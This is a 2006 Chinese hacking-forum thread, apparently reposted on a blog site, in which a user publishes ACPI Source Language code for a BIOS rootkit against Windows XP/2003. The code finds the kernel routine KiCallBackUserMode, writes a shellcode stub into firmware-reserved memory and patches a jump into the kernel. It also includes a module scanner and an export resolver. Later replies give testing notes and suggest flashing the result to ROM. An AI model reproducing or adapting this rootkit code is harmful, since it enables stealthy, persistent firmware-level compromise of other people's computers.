ACPI BIOS RootKit 实践

头衔: 无名氏
门派: 使徒十三
  

等级: 大天使
信息:  
威望: +5 积分: 2081  
现金: 5904 雷傲元
存款: 2552072 雷傲元
贷款: 没贷款
来自: 保密 
发帖: 1916 篇
精华: 8 篇
在线: 54 时 10 分 45 秒
注册: 2002/08/05 08:43am
造访: 2006/02/11 08:40pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [楼 主]

   购买名单:------------ xyzreg1
(此贴售价 500 雷傲元,目前已有 1 人购买)

[这个贴子最后由vxk在 2006/02/11 06:38pm 第 1 次编辑]

ACPI BIOS RootKit 实践
<Vxk@StealKernel>
BlackHat 2006 上John议题<acpi bios rootkit>,给了很多rootkit爱好者
一个不小的惊讶,虽然Greg Hoglund在<ROOTKITS, Subverting the Windows Kernel>
一书中预言了这种rootkit的存在,但是毕竟这是第一次有人明确给出这个RK的实现方案
,好高兴啊~~~以前没有人指出这个方案,一直是ACPI System Service Extend或者BIOS
Moudle Extend之类用"汇编"写的非常郁闷的东西,而这个却选择了一个比较高级编写工
具而且这个工具提供的功能非常强大....我这里主要说Windows的ACPI BIOS ROOTKIT,
John给了一个例子是/_TZ空间的ASL例子,很不错,呵呵~~~因为ACPI有强大的访问能力
SystemIO,SystemMemory,PCI_Config,CMOS等等都可以轻松访问物理设备等等,于是ASL编
写的Rootkit是击毙容易实现功能的。因为我们的代码近乎裸体的运行,要想实现任何功能
——都要靠Memory分配,这里大家可以回去查查ACPI参考( www.acpi.info) 看看如何分配内存和分配端口,以及端口I/O事件(为了功能shellcode和rootkit主体交流)。除酥猓颐且胧迪止δ躶hellcode 的插入,还需要找一个插入口——我这里选择KiCallBackUserMode的hook来实现,在其写入一个挑转指令到我们分配的内存buffer (这里存储shellcode)...如何得倒KiCallBackUserMode呢?比较简单的方法就是通过读取KPCR内的 KdVersionBlock再通过KdVersionBlock取KdDebuggerDataBlock,通KdDebuggerDataBlock 取得KiCallBackUserMode这是一个方法,下面是其代码
// Example One
DefinitionBlock (
"rootkit.aml", // Output Filename
"DSDT", // Signature
0x02, // DSDT Compliance Revision
"OEM", // OEMID
"forTest", // TABLE ID
0x1000 // OEM Revision
)
{
Method(OSCK)
{
   if(CondRefOf(_OSI,Local0))
   {
       if (/_OSI("Windows 2001"))
       {
           Return(One)
       }
if(/_OSI("Windows 2001.1"))
{
Return(Ones)
}
Return(Zero)
   }
Return(Zero)
}
Method(RDMD,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Name(Out,0x00000000)
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
OperationRegion(NISR, SystemMemory, Local0, Local1)
Field(NISR, ByteAcc, Lock, Preserve)
{
ROOP,0x4
}
Store(ROOP,Out)
Return(Out)
}
Scope(/_TZ)
{
Name (_TRT,Package(){ResourceTemplate(){Memory32Fixed(ReadWrite,0xfff00000,0x10000, MMRG)}})//在地址0xfff00000分配0x10000个Byte的Buffer~~~
//利用_TRT来实现这块内存的稳定存在...嘿嘿~~在我实验的两台机器上没有蓝...
//大家也可以采用通过找KernBase的内存空域来...不过很麻烦...
//后者采用所有的Moudle的DosHeader那块内存,分块存储之...也是很烦...

Method(RKDM)
{
Store("Only Support Windows Xp Ans 2003",Debug)
if(LNotEqual(OSCK(),Zero))
{
Name(KBAD,0x00000000)
Name(KDHL,0x00000000)
Name(KDAD,0x00000000)
Name(KIUC,0x00000000)
Name(HDB0,Buffer(){0xB8,0x00,0x00,0xF0,0xFF,0xFF,0xD0,0x90,0x90,0x90})
Name(SHEL,Buffer(){
0x61,//pushad
0x90,//shellcode here
0x90,//shellcode here
0x90,//shellcode here
0x61,//popad
0x55,
0x53,
0x56,
0x57,
0x8B,0x1D,0x24,0xf1,0xdf,0xff,
0xC3
})
Store(RDMD(0xffdff034,0x4),Local0)
if(LEqual(Local0,0x0000000))
{
Return(Zero)
}
Add(Local0,0x10,Local1)
Store(RDMD(Local1,0x4),KBAD)
Store("Kernel Base Addr",Debug)
Store(KBAD,Debug)
Add(Local0,0x20,Local1)
Store(RDMD(Local1,0x4),KDHL)
Store(RDMD(KDHL,0x4),KDAD)
Add(KDAD,0x18,Local1)
Store(RDMD(Local1,0x4),Local3)
if(LNotEqual(Local3,KBAD)) {Return(Zero)}
Add(KDAD,0x38,Local1)
Store(RDMD(Local1,0x4),KIUC)
Store(SHEL,MMRG)
Subtract(KIUC,0x80000000,Local2)
OperationRegion(NISA, SystemMemory,Local2,0x10)
Field(NISA, ByteAcc, Lock, Preserve)
{
RSSA,0x10
}
Store(HDB0,RSSA)
Sleep(500)
}
}
ThermalZone (TZ0) {
Method(_INI,0)
{
Store(RKDM(),Debug)
Sleep(30)
Return
}
}
}
}

这是一种方法,另外还有就是古老的搜索大法,这里就不列出来,这里给
出一个MmIsAddressValid简易版方便要写搜索的英雄
Method(RDMB,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Name(Out,0x00)
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
OperationRegion(NISR, SystemMemory, Local0, Local1)
Field(NISR, ByteAcc, Lock, Preserve)
{
ROOP,0x1
}
Store(ROOP,Out)
Return(Out)
}
Method(RDMD,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Name(Out,0x00000000)
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
OperationRegion(NISR, SystemMemory, Local0, Local1)
Field(NISR, ByteAcc, Lock, Preserve)
{
ROOP,0x4
}
Store(ROOP,Out)
Return(Out)
}
Method(RDMW,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Name(Out,0x0000)
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
OperationRegion(NISR, SystemMemory, Local0, Local1)
Field(NISR, ByteAcc, Lock, Preserve)
{
ROOP,0x2
}
Store(ROOP,Out)
Return(Out)
}
//MmIsAddressValid(Addr)
//One正常,Zero有问题
Method(MAVD,1)
{
Store(Arg0,Local0)
Store(Zero,Local1)
Store(Zero,Local2)
ShiftRight(Local0,0x14,Local1)
And(Local0,0x0FFC,Local2)
Store(Local2,Local1)
Subtract(Local1,0x3FD00000,Local2)
Store(Local2,Local1)
Store(RDMD(Local1,0x4),Local2)
Store(Local2,Local1)

And(Local1,0x00000001,Local2)
if(LEqual(Local2,0x00000001))
{
Return(Zero)
}
And(Local1,0x000000FF,Local2)
if(And(Local2,0x00000010))
{
Return(One)
}
ShiftRight(Local0,0x0A,Local1)
And(Local1,0x3FFFFC,Local2)
Subtract(Local2,0x40000000,Local1)
Store(RDMD(Local1,0x4),Local2)
Store(Local2,Local3)
And(Local3,0x00000001,Local2)
if(LEqual(Local2,0x00000001))
{
Return(Zero)
}
And(Local3,0x000000FF,Local2)
if(And(Local2,0x00000010))
{
And(Local1,0x0FFC,Local2)
Subtract(Local2,0x3FD00000,Local3)
Store(RDMD(Local3,0x4),Local2)
And(Local2,0x00000081,Local3)
Subtract(Local3,0x81,Local2)
if(LEqual(Local2,0x00000000))
{
Return(One)
}
Return(Zero)
}
}
接下来给出一个搜索Moudle的代码....写的不是很好
Method(RDMX,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Store(Zero,Local2)
Store(Zero,Local3)
Name(Out,Buffer(Local1){})
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
Name(TMP,0x00)
Name(CNT,Zero)
While(LNotEqual(Local1,Zero))
{
Store(RDMB(Local0,0x1),TMP)
Store(TMP,Index(Out,CNT))
Increment(CNT)
Decrement(Local1)
Increment(Local0)
}
Return(Out)
}
//Addr SearchMod(name,maxaddr)
//ntoskrnl 0x6E 74 6F 73 6B 72 6E 6C
Method(SMD,2)
{
Name(Base,0x80000000)
Store(One,Local0)
Store(Base,Local1)
ToInteger(Arg1,Local7)
Name(D0,0x5A4D)
Name(P0,0x00004550)

While(LEqual(Local0,One))
{

if(LEqual(MAVD(Local1),One)){Store(RDMW(Local1,0x2),Local2)}
Store(Zero,Local3)
Add(Local1,0x1000,Local3)
if(LEqual(Local2,D0))
{
Add(0x60,Local1,Local3)
if(LEqual(MAVD(Local3),One)){Store(RDMD(Local3,0x4),Local2)}
Add(Local1,Local2,Local3)
if(LEqual(MAVD(Local3),One)){Store(RDMD(Local3,0x4),Local2)}
if(LEqual(Local2,P0))
{
Store(Local3,Local4)
Add(Local4,0x78,Local3)
if(LEqual(MAVD(Local3),One)){Store(RDMD(Local3,0x4),Local2)}
if(LNotEqual(Local2,0x00000000))
{
Add(Local2,Local1,Local3)
Add(Local3,12,Local4)
Store(Local4,Local3)
if(LEqual(MAVD(Local3),One)){Store(RDMD(Local3,0x4),Local2)}
Add(Local2,Local1,Local3)
//Local3==address of name
Store(Zero,Local5)
if(LEqual(MAVD(Local3),One)){Store(RDMX(Local3,SLEN(Arg0)),Local5)}

ToString(Local5,Local3)
if(LEqual(SCMP(Arg0,Local3),Zero))
{
Return(Local1)
}
}
}
}
if(LEqual(Local1,Local7)){Return(Zero)}
Add(Local1,0x1000,Local3)
Store(Zero,Local1)
Store(Local3,Local1)
}
Return(Zero)
}
能搜索Moudle了,自然就会要搜索EXPORT的API
//Addr SearchExp(modbase,apiname)
Method(SEXP,2)
{
Name(MBS,0x00000000)
Name(EXP,0x00000000)
Name(EXT,0x00000000)
Name(NUM,0x00000000)
Name(EX,0x00000000)
Name(OUT,0x00000000)
Name(RLD,0)
Store(Arg0,MBS)
Add(MBS,60,Local0)
Store(RDMD(Local0,0x4),Local1)
Add(MBS,Local1,Local0)
Add(Local0,0x78,Local1)
Store(RDMD(Local1,0x4),EXP)
Add(EXP,MBS,EXT)
Add(EXT,24,Local0)
Add(EXT,32,Local1)
Store(RDMD(Local0,0x4),NUM)
Store(RDMD(Local1,0x4),Local0)
Add(Local0,MBS,Local1)
While(LNotEqual(NUM,Zero))
{
Decrement(NUM)
Multiply (NUM,0x4,Local3)
Add(Local3,Local1,Local0)
Store(RDMD(Local0,0x4),Local3)
Add(MBS,Local3,Local4)
Increment(NUM)
Add(SLEN(Arg1),1,RLD)
Store(RDMX(Local4,RLD),Local5)
if(LEqual(Index(SLEN(Arg1),Local5),0x00))
{
Store(RDMX(Local4,SLEN(Arg1)),Local5)
ToString(Local5,Local6)
if(LEqual(SCMP(Arg1,Local6),Zero))
{
Decrement(NUM)
Add(EXP,36,Local3)
Store(RDMD(Local3,0x4),Local2)
Add(MBS,Local2,EX)
Multiply (NUM,0x2,Local3)
Add(EX,Local3,Local2)
Store(RDMW(Local2,0x2),OUT)
Add(EXT,28,Local3)
Store(RDMD(Local3,0x4),Local2)
Add(MBS,Local2,Local4)
And(OUT,0x0000FFFF,Local2)
Multiply(Local2,0x4,Local3)
Add(Local4,Local3,Local1)
Store(RDMD(Local1,0x4),Local0)
Add(Local0,MBS,EX)
Return(EX)
}
}
Increment(NUM)
}
}
剩下一些垃圾代码,都是字符串比对用的~~
//
//
// MIN(Int1, Int2) - Returns the minimum of Int1 or Int2.
//
//
Method(MIN, 2)
{
   //
   // Note: The caller must make sure both arguments are integer objects.
   //
   If(LLess(Arg0, Arg1))
   {
       Return(Arg0)
   }
   Else
   {
       Return(Arg1)
   }
}

//
// SLEN(Str) - Returns the length of Str (excluding NULL).
//
Method(SLEN, 1)
{
   //
   // Note: The caller must make sure the argument is a string object.
   //
   Return(Sizeof(Arg0))
}

//
// S2BF(Str) - Convert a string object into a buffer object.
//
Method(S2BF, 1, Serialized)
{
   //
   // Note: The caller must make sure the argument is a string object.
   //
   // Local0 contains length of string + NULL.
   //
   Add(SLEN(Arg0), One, Local0)
   //
   // Convert the string object into a buffer object.
   //
   Name(BUFF, Buffer(Local0) {})
   Store(Arg0, BUFF)
   Return(BUFF)
}

//
// SCMP(Str1, Str2) - Compare Str1 and Str2.
//                    Returns One if Str1 > Str2
//                    Returns Zero if Str1 == Str2
//                    Returns Ones if Str1 < Str2
//
Method(SCMP, 2)
{
   //
   // Note: The caller must make sure both arguments are string objects.
   //
   // Local0 is a buffer of Str1.
   // Local1 is a buffer of Str2.
   // Local2 is the indexed byte of Str1.
   // Local3 is the indexed byte of Str2.
   // Local4 is the index to both Str1 and Str2.
   // Local5 is the length of Str1.
   // Local6 is the length of Str2.
   // Local7 is the min. of Str1 or Str2 length.
   //
   Store(S2BF(Arg0), Local0)
   Store(S2BF(Arg1), Local1)
   Store(Zero, Local4)

   Store(SLEN(Arg0), Local5)
   Store(SLEN(Arg1), Local6)
   Store(MIN(Local5, Local6), Local7)

   While(LLess(Local4, Local7))
   {
       Store(Derefof(Index(Local0, Local4)), Local2)
       Store(Derefof(Index(Local1, Local4)), Local3)
       If(LGreater(Local2, Local3))
       {
           Return(One)
       }
       Else
       {
           If(LLess(Local2, Local3))
           {
               Return(Ones)
           }
       }

       Increment(Local4)
   }

   If(LLess(Local4, Local5))
   {
       Return(One)
   }
   Else
   {
       If(LLess(Local4, Local6))
       {
           Return(Ones)
       }
       Else
       {
           Return(Zero)
       }
   }
}
能做这些了,自然也就想到其他功能的实现了——下次有时间说IO和Event
另外这个东西测试比较麻烦,如果真的想做点绝对真实的测试就直接用
PMTOOLS写入到ROM~~
  











编辑 屏蔽 2006/02/11 06:35pm IP: 已设置保密 [本文共13707字节]   
  

  vxk   头衔: 无名氏
门派: 使徒十三
  

等级: 大天使
信息:  
威望: +5 积分: 2081  
现金: 5904 雷傲元
存款: 2552072 雷傲元
贷款: 没贷款
来自: 保密 
发帖: 1916 篇
精华: 8 篇
在线: 54 时 10 分 45 秒
注册: 2002/08/05 08:43am
造访: 2006/02/11 08:40pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [第 2 楼]

  这个东西最近才玩的,写的可能会在你得机器上造成BLUE,或者不听重起——带自身恢复的主板可以尝试...

  











编辑 屏蔽 删除 2006/02/11 06:42pm IP: 已设置保密 [本文共98字节]   
  

  vxk   头衔: 无名氏
门派: 使徒十三
  

等级: 大天使
信息:  
威望: +5 积分: 2081  
现金: 5904 雷傲元
存款: 2552072 雷傲元
贷款: 没贷款
来自: 保密 
发帖: 1916 篇
精华: 8 篇
在线: 54 时 10 分 45 秒
注册: 2002/08/05 08:43am
造访: 2006/02/11 08:40pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [第 3 楼]

  [这个贴子最后由vxk在 2006/02/11 07:13pm 第 1 次编辑]

这篇文章是我加入baiyuanfan的StealKernel工作室后(其实还没有正式成立...)
的第一篇小文~~呵呵,代码居多,因为实在没有什么可以说的,主要的技术都是specs
上有的,呵呵...另外感谢PheonixBios的一位工程师给我的一些帮助...
和M$的MSDN上所有的ACPI版大牛
  











编辑 屏蔽 删除 2006/02/11 06:45pm IP: 已设置保密 [本文共312字节]   
  

  vxk   头衔: 无名氏
门派: 使徒十三
  

等级: 大天使
信息:  
威望: +5 积分: 2081  
现金: 5904 雷傲元
存款: 2552072 雷傲元
贷款: 没贷款
来自: 保密 
发帖: 1916 篇
精华: 8 篇
在线: 54 时 10 分 45 秒
注册: 2002/08/05 08:43am
造访: 2006/02/11 08:40pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [第 4 楼]

  里面的代码仅在2GB的XP+Sp1上工作过,如有任何意外请不要联系本人...
hehe~~
  











编辑 屏蔽 删除 2006/02/11 06:47pm IP: 已设置保密 [本文共74字节]   
  

  baiyuanfan   头衔: 总版主

  

等级: 病毒精灵
信息:  
威望: 0 积分: 153  
现金: 5262 雷傲元
存款: 没开户
贷款: 没贷款
来自: 保密 
发帖: 168 篇
精华: 1 篇
资料:  
在线: 39 时 53 分 33 秒
注册: 2004/11/05 02:47pm
造访: 2006/02/11 08:29pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [第 5 楼]

  非常希望大家能来一起讨论这个问题!还有,不是Vxk加入我的工作室,嘿嘿,是我把师父拖来做技术支持,嘿嘿
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值